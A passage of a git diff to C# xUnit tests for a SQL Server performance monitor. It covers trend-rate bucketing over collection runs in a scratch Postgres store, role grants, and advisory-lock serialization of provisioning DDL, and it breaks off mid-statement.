+        Assert.All(buckets.Where(b => b.Bucket != h.AddMinutes(3) && b.Bucket != h.AddMinutes(4)), b => Assert.Equal(10.0, b.ElapsedMsPerSecond!.Value, precision: 6));
+        Assert.All(buckets, b => Assert.Equal(1, b.CollectionCount));
+    }
+
+    [Fact]
+    public async Task RawTrend_AFailedRunAddsNoPoint_AndTheNextPointsGapCoversIt()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await RunModelStore.CreateAsync(ct);
+        const int server = -544912;
+        await store.RegisterAsync(server, ct);
+        var h = store.Hour;
+        /* Minute 1 fails and stores nothing; minute 2's delta measured the two minutes since minute 0. */
+        await store.RowAsync(server, "usp_Work", h, elapsedUs: 600_000, executions: 10, interval: 60, ct);
+        await store.RowAsync(server, "usp_Work", h.AddMinutes(2), elapsedUs: 1_200_000, executions: 20, interval: 120, ct);
+        await store.RunAsync(server, h + RunLogLag, 3000, "SUCCESS", 1, ct);
+        await store.RunAsync(server, h.AddMinutes(1) + RunLogLag, 3000, "ERROR", 0, ct);
+        await store.RunAsync(server, h.AddMinutes(2) + RunLogLag, 3000, "SUCCESS", 1, ct);
+
+        var buckets = await store.ReadAsync(server, h, h.AddMinutes(2).AddSeconds(30), widthMinutes: 10, ct);
+
+        var bucket = Assert.Single(buckets);
+        Assert.Equal(2, bucket.CollectionCount);
+        Assert.Equal(1800.0 / 180.0, bucket.ElapsedMsPerSecond!.Value, precision: 6);
+    }
+
+    /// <summary>
+    /// A 240-minute bucket: a point just before it, 60 busy minutes, an outage, a restart collection (0 work, interval 0) at
+    /// minute 180, then 59 busy minutes. The gap from minute 59 to 180 is past the one-hour policy, so minute 180 is unrated, and
+    /// the bucket's seconds are the rated gaps (3600 + 3540 = 7140), never the bucket's span.
+    /// </summary>
+    [Fact]
+    public async Task RawTrend_AnOutageIsOutOfTheBucketsSeconds()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await RunModelStore.CreateAsync(ct);
+        const int server = -544913;
+        await store.RegisterAsync(server, ct);
+        var h = store.Hour;
+        var minutes = new List<int> { -1 };
+        minutes.AddRange(Enumerable.Range(0, 60));
+        minutes.Add(180);
+        minutes.AddRange(Enumerable.Range(181, 59));
+        foreach (var k in minutes)
+        {
+            var restart = k == 180;
+            await store.RowAsync(server, "usp_Work", h.AddMinutes(k), elapsedUs: restart ? 0 : 600_000, executions: restart ? 0 : 1, interval: restart ? 0 : 60, ct);
+            await store.RunAsync(server, h.AddMinutes(k) + RunLogLag, 3000, "SUCCESS", 1, ct);
+        }
+
+        var buckets = await store.ReadAsync(server, h.AddMinutes(-1), h.AddMinutes(239).AddSeconds(30), widthMinutes: 240, ct);
+
+        var bucket = buckets.Single(b => b.Bucket == h);
+        Assert.Equal(1, bucket.UnratedCollections);
+        Assert.Equal(120, bucket.CollectionCount);
+        Assert.Equal(119.0 / 7140.0, bucket.ExecutionsPerSecond!.Value, precision: 9);
+    }
+
+    /// <summary>
+    /// One collection stored two procedures: P1 (measured over 60 s) and P2 (a plan first seen 30 minutes ago, 1800 s). The whole
+    /// collection's deltas land in the run that stored them, so they divide by the gap to the previous run (60 s), and never by the
+    /// largest interval any one row carried.
+    /// </summary>
+    [Fact]
+    public async Task RawTrend_AReturningProceduresDeltaDividesByTheRunsGap()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await RunModelStore.CreateAsync(ct);
+        const int server = -544914;
+        await store.RegisterAsync(server, ct);
+        var h = store.Hour;
+        await store.RowAsync(server, "usp_P1", h, elapsedUs: 600_000, executions: 10, interval: 60, ct);
+        await store.RowAsync(server, "usp_P1", h.AddMinutes(1), elapsedUs: 600_000, executions: 10, interval: 60, ct);
+        await store.RowAsync(server, "usp_P2", h.AddMinutes(1), elapsedUs: 3_000_000, executions: 10, interval: 1800, ct);
+
+        var buckets = await store.ReadAsync(server, h, h.AddMinutes(1).AddSeconds(30), widthMinutes: 1, ct);
+
+        Assert.Equal((600.0 + 3000.0) / 60.0, buckets.Single(b => b.Bucket == h.AddMinutes(1)).ElapsedMsPerSecond!.Value, precision: 6);
+    }
+
+    [Fact]
+    public async Task RawTrend_OneBusyAndTwoIdleRuns_ReadOver180Seconds()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await RunModelStore.CreateAsync(ct);
+        const int server = -544915;
+        await store.RegisterAsync(server, ct);
+        var h = store.Hour;
+        await store.RowAsync(server, "usp_Work", h, elapsedUs: 900_000, executions: 5, interval: 60, ct);
+        await store.RunAsync(server, h + RunLogLag, 3000, "SUCCESS", 1, ct);
+        await store.RunAsync(server, h.AddMinutes(1) + RunLogLag, 3000, "SUCCESS", 0, ct);
+        await store.RunAsync(server, h.AddMinutes(2) + RunLogLag, 3000, "SUCCESS", 0, ct);
+
+        var buckets = await store.ReadAsync(server, h, h.AddMinutes(2).AddSeconds(30), widthMinutes: 10, ct);
+
+        var bucket = Assert.Single(buckets);
+        Assert.Equal(3, bucket.CollectionCount);
+        Assert.Equal(900.0 / 180.0, bucket.ElapsedMsPerSecond!.Value, precision: 6);
+        Assert.Equal(5.0 / 180.0, bucket.ExecutionsPerSecond!.Value, precision: 9);
+    }
+
+    [Fact]
+    public async Task RawTrend_AFirstGapThatReachesBeforeTheWindowIsTheGapNotTheStoredInterval()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await RunModelStore.CreateAsync(ct);
+        const int server = -544916;
+        await store.RegisterAsync(server, ct);
+        var h = store.Hour;
+        /* The previous run is five minutes before the window opens: still inside the hour's policy, so the first point's seconds are 300. */
+        await store.RowAsync(server, "usp_Work", h.AddMinutes(-5), elapsedUs: 600_000, executions: 1, interval: 60, ct);
+        await store.RowAsync(server, "usp_Work", h, elapsedUs: 600_000, executions: 3, interval: 60, ct);
+
+        var buckets = await store.ReadAsync(server, h, h.AddSeconds(30), widthMinutes: 10, ct);
+
+        var bucket = Assert.Single(buckets);
+        Assert.Equal(1, bucket.CollectionCount);
+        Assert.Equal(600.0 / 300.0, bucket.ElapsedMsPerSecond!.Value, precision: 6);
+    }
+
+    [Fact]
+    public async Task RawTrend_AGapPastTheHourIsAnUnratedPoint_AndStillCounted()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await RunModelStore.CreateAsync(ct);
+        const int server = -544917;
+        await store.RegisterAsync(server, ct);
+        var h = store.Hour;
+        await store.RowAsync(server, "usp_Work", h, elapsedUs: 600_000, executions: 1, interval: 60, ct);
+        await store.RowAsync(server, "usp_Work", h.AddSeconds(4000), elapsedUs: 600_000, executions: 1, interval: 60, ct);
+
+        var buckets = await store.ReadAsync(server, h, h.AddSeconds(4030), widthMinutes: 10, ct);
+
+        Assert.Equal(2, buckets.Count);
+        Assert.NotNull(buckets[0].ElapsedMsPerSecond);
+        Assert.Null(buckets[1].ElapsedMsPerSecond);
+        Assert.Equal(1, buckets[1].UnratedCollections);
+        Assert.Equal(1, buckets[1].CollectionCount);
+    }
+
+    [Fact]
+    public async Task RawTrend_ARestartCollectionIsUnrated_EvenAtAOneMinuteGap()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await RunModelStore.CreateAsync(ct);
+        const int server = -544918;
+        await store.RegisterAsync(server, ct);
+        var h = store.Hour;
+        await store.RowAsync(server, "usp_Work", h, elapsedUs: 600_000, executions: 1, interval: 60, ct);
+        await store.RowAsync(server, "usp_Work", h.AddMinutes(1), elapsedUs: 0, executions: 0, interval: 0, ct);
+        await store.RowAsync(server, "usp_Work", h.AddMinutes(2), elapsedUs: 600_000, executions: 1, interval: 60, ct);
+
+        var buckets = await store.ReadAsync(server, h, h.AddMinutes(2).AddSeconds(30), widthMinutes: 10, ct);
+
+        var bucket = Assert.Single(buckets);
+        Assert.Equal(1, bucket.UnratedCollections);
+        Assert.Equal(3, bucket.CollectionCount);
+        Assert.Equal(1200.0 / 120.0, bucket.ElapsedMsPerSecond!.Value, precision: 6);
+    }
+
+    [Fact]
+    public async Task RawTrend_TheStoresFirstCollectionUsesItsOwnInterval()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await RunModelStore.CreateAsync(ct);
+        const int server = -544919;
+        await store.RegisterAsync(server, ct);
+        var h = store.Hour;
+        await store.RowAsync(server, "usp_Work", h, elapsedUs: 900_000, executions: 9, interval: 45, ct);
+
+        var buckets = await store.ReadAsync(server, h, h.AddSeconds(30), widthMinutes: 10, ct);
+
+        Assert.Equal(900.0 / 45.0, Assert.Single(buckets).ElapsedMsPerSecond!.Value, precision: 6);
+    }
+
+    /// <summary>
+    /// An idle run that started inside the window but was logged just after its end still plots its 0: runs are read an hour past
+    /// the window's end, and the points stop at it. The run began at minute 2 (logged at minute 2 + 3 s, 3,000 ms of work), and the
+    /// window ends one second after it began.
+    /// </summary>
+    [Fact]
+    public async Task RawTrend_AnIdleRunThatStartedBeforeTheWindowEndAndWasLoggedAfterItPlotsItsZero()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await RunModelStore.CreateAsync(ct);
+        const int server = -544920;
+        await store.RegisterAsync(server, ct);
+        var h = store.Hour;
+        foreach (var k in new[] { 0, 1 })
+        {
+            await store.RowAsync(server, "usp_Work", h.AddMinutes(k), elapsedUs: 600_000, executions: 10, interval: 60, ct);
+            await store.RunAsync(server, h.AddMinutes(k) + RunLogLag, 3000, "SUCCESS", 1, ct);
+        }
+        await store.RunAsync(server, h.AddMinutes(2) + RunLogLag, 3000, "SUCCESS", 0, ct);
+
+        var buckets = await store.ReadAsync(server, h, h.AddMinutes(2).AddSeconds(1), widthMinutes: 1, ct);
+
+        Assert.Equal(Enumerable.Range(0, 3).Select(k => h.AddMinutes(k)), buckets.Select(b => b.Bucket));
+        Assert.Equal(0.0, buckets[2].ElapsedMsPerSecond!.Value, precision: 6);
+        Assert.Equal(10.0, buckets[1].ElapsedMsPerSecond!.Value, precision: 6);
+    }
+
+    /// <summary>
+    /// The same edge for a busy run: its rows (stamped at its start) are inside the window and its log row is just after the end.
+    /// The run read past the window's end must not make that run an idle one: the minute has its one point, the stored work.
+    /// </summary>
+    [Fact]
+    public async Task RawTrend_ABusyRunLoggedAfterTheWindowEndIsNotAnIdleRun()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await RunModelStore.CreateAsync(ct);
+        const int server = -544921;
+        await store.RegisterAsync(server, ct);
+        var h = store.Hour;
+        foreach (var k in new[] { 0, 1, 2 })
+        {
+            await store.RowAsync(server, "usp_Work", h.AddMinutes(k), elapsedUs: 600_000, executions: 10, interval: 60, ct);
+            await store.RunAsync(server, h.AddMinutes(k) + RunLogLag, 3000, "SUCCESS", 1, ct);
+        }
+        /* The next run's rows are past the window's end, so they are not read; its log row, an hour of reads past the end, is. */
+        await store.RowAsync(server, "usp_Work", h.AddMinutes(3), elapsedUs: 600_000, executions: 10, interval: 60, ct);
+        await store.RunAsync(server, h.AddMinutes(3) + RunLogLag, 3000, "SUCCESS", 1, ct);
+
+        var buckets = await store.ReadAsync(server, h, h.AddMinutes(2).AddSeconds(1), widthMinutes: 1, ct);
+
+        Assert.Equal(Enumerable.Range(0, 3).Select(k => h.AddMinutes(k)), buckets.Select(b => b.Bucket));
+        Assert.All(buckets, b => Assert.Equal(10.0, b.ElapsedMsPerSecond!.Value, precision: 6));
+        Assert.All(buckets, b => Assert.Equal(1, b.CollectionCount));
+    }
+
+    internal sealed record TrendPoint(
+        DateTime Bucket, double? ElapsedMsPerSecond, double? ExecutionsPerSecond, double? PeakElapsedMsPerSecond,
+        DateTime FirstCollection, int UnratedCollections, int CollectionCount);
+
+    private sealed class RunModelStore : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+        private readonly NpgsqlDataSource _dataSource;
+        private int _logId;
+
+        private RunModelStore(ScratchPostgres scratch, NpgsqlDataSource dataSource, DateTime hour)
+        {
+            _scratch = scratch;
+            _dataSource = dataSource;
+            Hour = hour;
+        }
+
+        /// <summary>A 4-hour boundary in the past, so every bucket width used here (1, 10 and 240 minutes) starts on it.</summary>
+        public DateTime Hour { get; }
+
+        public static async Task<RunModelStore> CreateAsync(CancellationToken ct)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live procedure_stats run-model tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+                var now = DateTime.UtcNow.AddDays(-1);
+                var hour = new DateTime(now.Year, now.Month, now.Day, now.Hour - (now.Hour % 4), 0, 0, DateTimeKind.Unspecified);
+                return new RunModelStore(scratch, NpgsqlDataSource.Create(scratch.ConnectionString), hour);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        public async Task RegisterAsync(int serverId, CancellationToken ct)
+        {
+            await using var connection = await _dataSource.OpenConnectionAsync(ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, $"run-model-{-serverId}", ct);
+        }
+
+        public async Task RowAsync(int serverId, string procedure, DateTime at, long elapsedUs, long executions, int interval, CancellationToken ct)
+        {
+            await using var insert = _dataSource.CreateCommand(@"
+INSERT INTO collect.procedure_stats
+    (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds)
+VALUES ((SELECT COALESCE(MAX(collection_id), 0) + 1 FROM collect.procedure_stats), $1, $2, 'run-model', 'AppDb', 'dbo', $3, $3, $4, $4, $5, $6)");
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(at, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(procedure);
+            insert.Parameters.AddWithValue(elapsedUs);
+            insert.Parameters.AddWithValue(executions);
+            insert.Parameters.AddWithValue(interval);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        public async Task RunAsync(int serverId, DateTime loggedAt, long durationMs, string status, int rowsCollected, CancellationToken ct)
+        {
+            await using var insert = _dataSource.CreateCommand(@"
+INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+VALUES ($1, $2, 'run-model', 'procedure_stats', $3, $4, $5, $6)");
+            insert.Parameters.AddWithValue(++_logId);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(loggedAt, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(durationMs);
+            insert.Parameters.AddWithValue(status);
+            insert.Parameters.AddWithValue(rowsCollected);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        public async Task<List<TrendPoint>> ReadAsync(int serverId, DateTime start, DateTime end, int widthMinutes, CancellationToken ct)
+        {
+            await using var command = _dataSource.CreateCommand(DurationTrendRouting.BuildBucketedRawTrendSql("procedure_stats", withDatabaseFilter: false));
+            command.Parameters.AddWithValue(serverId);
+            command.Parameters.AddWithValue(DateTime.SpecifyKind(start, DateTimeKind.Unspecified));
+            command.Parameters.AddWithValue(DateTime.SpecifyKind(end, DateTimeKind.Unspecified));
+            command.Parameters.AddWithValue(widthMinutes);
+            var rows = new List<TrendPoint>();
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            while (await reader.ReadAsync(ct))
+            {
+                rows.Add(new TrendPoint(
+                    reader.GetDateTime(0),
+                    reader.IsDBNull(1) ? null : reader.GetDouble(1),
+                    reader.IsDBNull(2) ? null : reader.GetDouble(2),
+                    reader.IsDBNull(3) ? null : reader.GetDouble(3),
+                    reader.GetDateTime(4),
+                    (int)reader.GetInt64(5),
+                    (int)reader.GetInt64(6)));
+            }
+            return rows;
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await _dataSource.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ProductVersionDeclarationTests.cs b/Darling/Darling.Tests/ProductVersionDeclarationTests.cs
index 91533bfa7d..1e991e4e89 100644
--- a/Darling/Darling.Tests/ProductVersionDeclarationTests.cs
+++ b/Darling/Darling.Tests/ProductVersionDeclarationTests.cs
@@ -58,6 +58,8 @@ namespace Darling.Tests;
 /// are real — <c>nightly.yml</c>'s own header records the 2026-07-26 nightly dying on a version read
 /// whose path had moved (#1550/#1551 before it), and that one at least had the decency to be loud.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public class ProductVersionDeclarationTests
 {
     /// <summary>The one file that declares a product version, repo-relative with forward slashes.</summary>
diff --git a/Darling/Darling.Tests/ProductiveZeroBandingTests.cs b/Darling/Darling.Tests/ProductiveZeroBandingTests.cs
index bdedb445f5..f26ae85bc7 100644
--- a/Darling/Darling.Tests/ProductiveZeroBandingTests.cs
+++ b/Darling/Darling.Tests/ProductiveZeroBandingTests.cs
@@ -41,6 +41,7 @@ namespace Darling.Tests;
 /// cry-wolf outcome #3754 drew its closed list to prevent. So the N boundary, the event collector and
 /// #3819's own class are each asserted to keep their EXISTING answers by name.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ProductiveZeroBandingTests
 {
     private static readonly DateTime Now = DateTime.UtcNow;
@@ -313,12 +314,14 @@ the estimate takes the shipped cadence at its word. Overstating a fortnight-long
     [Fact]
     public void BothDarlingBandingReads_ProjectWhatTheStreakArmReads()
     {
-        /* The per-server read: the EXACT width, off the recency_rank #3819 already added. */
+        /* The per-server read: the EXACT width, from a lookup that ranks only the runs from the newest
+           streak break on (#4955), and the run count when nothing breaks the streak. */
         Assert.Contains(
             "AS trailing_zero_row_success_runs",
             DarlingDataReader.CollectionHealthSql,
             StringComparison.Ordinal);
-        Assert.Contains("THEN recency_rank END) - 1", DarlingDataReader.CollectionHealthSql, StringComparison.Ordinal);
+        Assert.Contains("THEN run_rank END) - 1 AS runs_ahead_of_break", DarlingDataReader.CollectionHealthSql, StringComparison.Ordinal);
+        Assert.Contains("COALESCE(streak.runs_ahead_of_break, h.total_runs) AS trailing_zero_row_success_runs", DarlingDataReader.CollectionHealthSql, StringComparison.Ordinal);
 
         /* The fleet read: ONE plain aggregate and no subquery, which is the whole reason the width is
            estimated there. A ROW_NUMBER appearing in this statement would mean a fleet-wide sort landed in
@@ -379,19 +382,26 @@ stopped PRODUCING reaches the same number an install countersign already reads.
 
             /* #4620: the sentence rides on EVERY row shape that can carry the flag, not just the full one.
                The compact shape is HEALTHY-only and a regressed row is floored to WARNING, so it never meets
-               one; the full and partial shapes both do, so the flag and the sentence appear once in each. A
-               bare Contains could not see the partial copy go missing, because the full one would satisfy it. */
-            Assert.Equal(2, CountOf(payload, "regressed_from_productive = r.AnyRegression,"));
-            Assert.Equal(2, CountOf(payload, "regression_finding = r.AnyRegressionFinding,"));
-            var partialShape = payload[payload.IndexOf("private static object PartialCollectionHealthRow(", StringComparison.Ordinal)..];
-            Assert.Contains("regression_finding = r.AnyRegressionFinding,", partialShape, StringComparison.Ordinal);
+               one; the full and partial shapes both do, so the flag and the sentence appear once in the full
+               shape and once in every partial shape (#4938: the partial row has a second shape for a collector
+               with a run time, so a file holds one or two of them). A bare Contains could not see a partial copy
+               go missing, because the full one would satisfy it. */
+            var partialAt = payload.IndexOf("private static object PartialCollectionHealthRow(", StringComparison.Ordinal);
+            var partialShape = payload[partialAt..];
+            var partialShapes = CountOf(partialShape, "partial_detail = true,");
+            Assert.InRange(partialShapes, 1, 2);
+            foreach (var carried in new[] { "regressed_from_productive = r.AnyRegression,", "regression_finding = r.AnyRegressionFinding," })
+            {
+                Assert.Equal(1, CountOf(payload[..partialAt], carried));
+                Assert.Equal(partialShapes, CountOf(partialShape, carried));
+            }
         }
 
         /* And the web table has a column for it: the viewer reads the full shape (full_detail: true), which
            always carried the sentence, but no column rendered it, so a regressed row read WARNING with every
            cell beside it blank. */
         Assert.Contains(
-            "{ key: \"regression_finding\", label: \"Regression\", wrap: true }",
+            "{ key: \"regression_finding\", label: \"Regression\", wrap: true, plain: true }",
             ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js"),
             StringComparison.Ordinal);
 
diff --git a/Darling/Darling.Tests/ProvisionRolesAclDriftTests.cs b/Darling/Darling.Tests/ProvisionRolesAclDriftTests.cs
index 1d76791270..dfabcecaaa 100644
--- a/Darling/Darling.Tests/ProvisionRolesAclDriftTests.cs
+++ b/Darling/Darling.Tests/ProvisionRolesAclDriftTests.cs
@@ -54,6 +54,7 @@ namespace Darling.Tests;
 /// identical comparison against a mutated copy of the file and asserts it reports the difference, so a parser
 /// that silently matched nothing (a reformatted GRANT, a renamed file) can never pass as "no drift".</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class ProvisionRolesAclDriftTests
 {
     /// <summary>
@@ -230,6 +231,14 @@ public void ProvisionRolesSql_GrantsTheReadRolesExactlyWhatManagedProvisioningDo
         Assert.False(ReadRoleTableGrants(drifted).SetEquals(ReadRoleTableGrants(managed)));
     }
 
+    [Fact]
+    public void ProvisionRolesSql_GrantsMcpReadOnTheCollectorRunTimes()
+    {
+        var script = StripComments(ReadProvisionRolesSql());
+
+        Assert.Contains("GRANT SELECT ON config.config_collector_run_times TO mcp;", script, StringComparison.Ordinal);
+    }
+
     [Fact]
     public void ParsedViewerAcl_Comparison_FailsOnAnInjectedDrift()
     {
diff --git a/Darling/Darling.Tests/ProvisionRolesCollisionGuardTests.cs b/Darling/Darling.Tests/ProvisionRolesCollisionGuardTests.cs
index ad35669e91..78e8ed4d04 100644
--- a/Darling/Darling.Tests/ProvisionRolesCollisionGuardTests.cs
+++ b/Darling/Darling.Tests/ProvisionRolesCollisionGuardTests.cs
@@ -22,6 +22,7 @@ namespace Darling.Tests;
 /// <c>temp_file_limit</c> line, before it had made a single grant. The script saves the caller's own value before the
 /// guard and puts it back after, so a caller who ran psql with <c>-v ON_ERROR_STOP=1</c> (or set it in psqlrc) keeps it.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class ProvisionRolesCollisionGuardTests
 {
     private const string GuardRaise = "RAISE EXCEPTION 'Role \"";
diff --git a/Darling/Darling.Tests/ProvisioningSerializationTests.cs b/Darling/Darling.Tests/ProvisioningSerializationTests.cs
new file mode 100644
index 0000000000..5751ec261b
--- /dev/null
+++ b/Darling/Darling.Tests/ProvisioningSerializationTests.cs
@@ -0,0 +1,784 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the live facts here mint their own scratch database and roles with per-run names through
+   ScratchPostgres and touch nothing on the shared one, so the class is not serialized against the live-postgres
+   collection. (The one thing they take that another database's session could meet is the provisioning advisory lock,
+   and an advisory lock belongs to the database it was taken in: each class's scratch database has its own, so these
+   tests never wait behind a product provisioning in another class, nor it behind them.) */
+
+/// <summary>
+/// Pins the two halves of #5560, "tuple concurrently updated" (XX000) from role and privilege DDL. PostgreSQL does not
+/// lock the catalog row a GRANT, DROP OWNED or ALTER ROLE rewrites, so two sessions rewriting the same row at once
+/// make the second fail once the first commits. The row is shared by every session on the cluster: the CONNECT ACL of
+/// the store's database, a role, a table's ACL.
+/// <list type="bullet">
+/// <item>Test side: a replay of the viewer's provisioned grants used to keep the managed store's database name, so every
+/// test that replayed rewrote the CONNECT ACL of the cluster's own <c>darling</c> database at once, and the cleanup's
+/// <c>DROP OWNED BY</c> rewrote it again. The replay is now aimed at the test's own scratch database.</item>
+/// <item>Product side: two services can start against one cluster (the managed store adopts a running postmaster), each
+/// running the same provisioning batch. The batch now takes an advisory lock first, so the second waits for the first.</item>
+/// </list>
+/// </summary>
+public sealed class ProvisioningSerializationTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public void TheViewerReplay_AimsEveryDatabaseLevelPrivilege_AtTheScratchDatabase_NotTheClustersOwn()
+    {
+        var statements = ViewerGrantReplay.StatementsFor("replay_role_5560", "scratch_5560");
+
+        Assert.Contains("GRANT CONNECT ON DATABASE \"scratch_5560\" TO replay_role_5560", statements);
+        Assert.DoesNotContain(statements, x => x.Contains("ON DATABASE darling", StringComparison.Ordinal));
+        Assert.All(
+            statements.Where(x => x.Contains(" ON DATABASE ", StringComparison.Ordinal)),
+            x => Assert.Contains("ON DATABASE \"scratch_5560\"", x, StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void TheReplayRetarget_QuotesTheScratchName_AndLeavesEveryOtherStatementAlone()
+    {
+        Assert.Equal("GRANT CONNECT ON DATABASE \"a\"\"b\"", ViewerGrantReplay.OnDatabase("GRANT CONNECT ON DATABASE darling", "a\"b"));
+        Assert.Equal("GRANT SELECT ON ALL TABLES IN SCHEMA collect", ViewerGrantReplay.OnDatabase("GRANT SELECT ON ALL TABLES IN SCHEMA collect", "x"));
+    }
+
+    [Fact]
+    public void EveryRolePrivilegeWrite_OfTheProvisioningPaths_GoesThroughTheLockedTransaction()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingManagedRoles.cs");
+
+        /* These are the writers of the shared catalog rows that the product runs: the provisioning batch, the reload's
+           ALTER ROLE lines, and the password rules' function and trigger (both its check and its command). The
+           provisioning scripts an operator runs by hand (tools/provision-roles.sql) and the migrations are outside
+           the service's own writes. A fourth that built its own NpgsqlCommand from one of these renderers would run
+           unserialized, so each renderer is built into exactly one command, inside the helper's call. */
+        Assert.Matches(new Regex(@"ExecuteSerializedAsync\(connection, async \(transaction, token\) =>\s*\{(?:(?!ExecuteNonQueryAsync).)*?return new NpgsqlCommand\(\s*BuildProvisioningSql\(.*?connection, transaction\) \{ CommandTimeout = [^}]*\};\s*\}, logger, cancellationToken\);", RegexOptions.Singleline, TimeSpan.FromSeconds(5)), source);
+        Assert.Matches(new Regex(@"new NpgsqlCommand\(\s*BuildComposeStatementTimeoutSql\(.*?CommandTimeout = [^}]*\};\s*await ExecuteSerializedAsync\(\s*command, logger, cancellationToken, lockWait: TimeSpan\.FromSeconds\(ServiceCommandDeadlines\.SerialLoopSeconds\)\);", RegexOptions.Singleline, TimeSpan.FromSeconds(5)), source);
+        Assert.Matches(new Regex(@"ExecuteSerializedAsync\(connection, async \(transaction, token\) =>\s*\{\s*alreadyInPlace = await ServerPasswordRulesAreInPlaceAsync\(connection, transaction, token\);.*?new NpgsqlCommand\(BuildServerPasswordRulesSql\(""config""\), connection, transaction\)\s*\{\s*CommandTimeout = [^}]*\};\s*\}, logger, cancellationToken\);", RegexOptions.Singleline, TimeSpan.FromSeconds(5)), source);
+
+        foreach (var renderer in new[] { "BuildProvisioningSql", "BuildComposeStatementTimeoutSql", "BuildServerPasswordRulesSql" })
+        {
+            Assert.Single(Regex.Matches(source, @"new NpgsqlCommand\(\s*" + renderer + @"\(", RegexOptions.None, TimeSpan.FromSeconds(5)));
+        }
+    }
+
+    /// <summary>The reload runs at the top of a sweep, so it waits for the key only the serial-loop deadline, not the
+    /// full provisioning wait; its bound is that wait plus the batch at its own timeout.</summary>
+    [Fact]
+    public void TheReload_WaitsForTheKeyOnlyTheSerialLoopDeadline()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingManagedRoles.cs");
+        Assert.Single(Regex.Matches(source, @"ExecuteSerializedAsync\(\s*command, logger, cancellationToken,\s*lockWait: TimeSpan\.FromSeconds\(ServiceCommandDeadlines\.SerialLoopSeconds\)\)", RegexOptions.None, TimeSpan.FromSeconds(5)));
+        Assert.True(ServiceCommandDeadlines.SerialLoopSeconds < DarlingManagedRoles.ProvisioningLockWaitSeconds);
+    }
+
+    [Fact]
+    public void TheLockWait_IsBounded_AndPollsAboutOnceASecond_RatherThanBlocking()
+    {
+        Assert.InRange(DarlingManagedRoles.ProvisioningLockWaitSeconds, 10, 15);
+        Assert.InRange(DarlingManagedRoles.ProvisioningLockPollMilliseconds, 500, 2000);
+        Assert.Equal(2, DarlingManagedRoles.ProvisioningConcurrentUpdateRetries);
+
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingManagedRoles.cs");
+        Assert.Contains("pg_try_advisory_xact_lock(", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("pg_advisory_xact_lock(", source, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The lock is enough only because every provisioning writer connects to ONE database (an advisory lock belongs to the
+    /// database it was taken in, while the catalog rows it protects are cluster-wide). The managed store always uses the
+    /// fixed database name (also pinned by <c>DarlingManagedRolesTests.BuildProvisioningSql_HardensPublic_ButKeepsAdminViewerConnect</c>),
+    /// and the compose path refuses a cluster that holds any other non-template database (<c>DarlingStoreLoginsTests</c>,
+    /// "AClusterThatAlsoHoldsAnotherDatabase_IsNotTheServicesOwn", #3914 review F2). This pins both, here, beside the lock.
+    /// </summary>
+    [Fact]
+    public void TheProvisioningLock_IsEnoughBecauseEveryWriterUsesTheStoresOneDatabase()
+    {
+        Assert.Equal("darling", ProvisioningTarget.Managed.DatabaseIdentifier);
+        Assert.Equal("darling", PerformanceMonitor.Darling.Service.DarlingManagedPostgres.DatabaseName);
+
+        var otherDatabase = new ComposeStoreFacts(
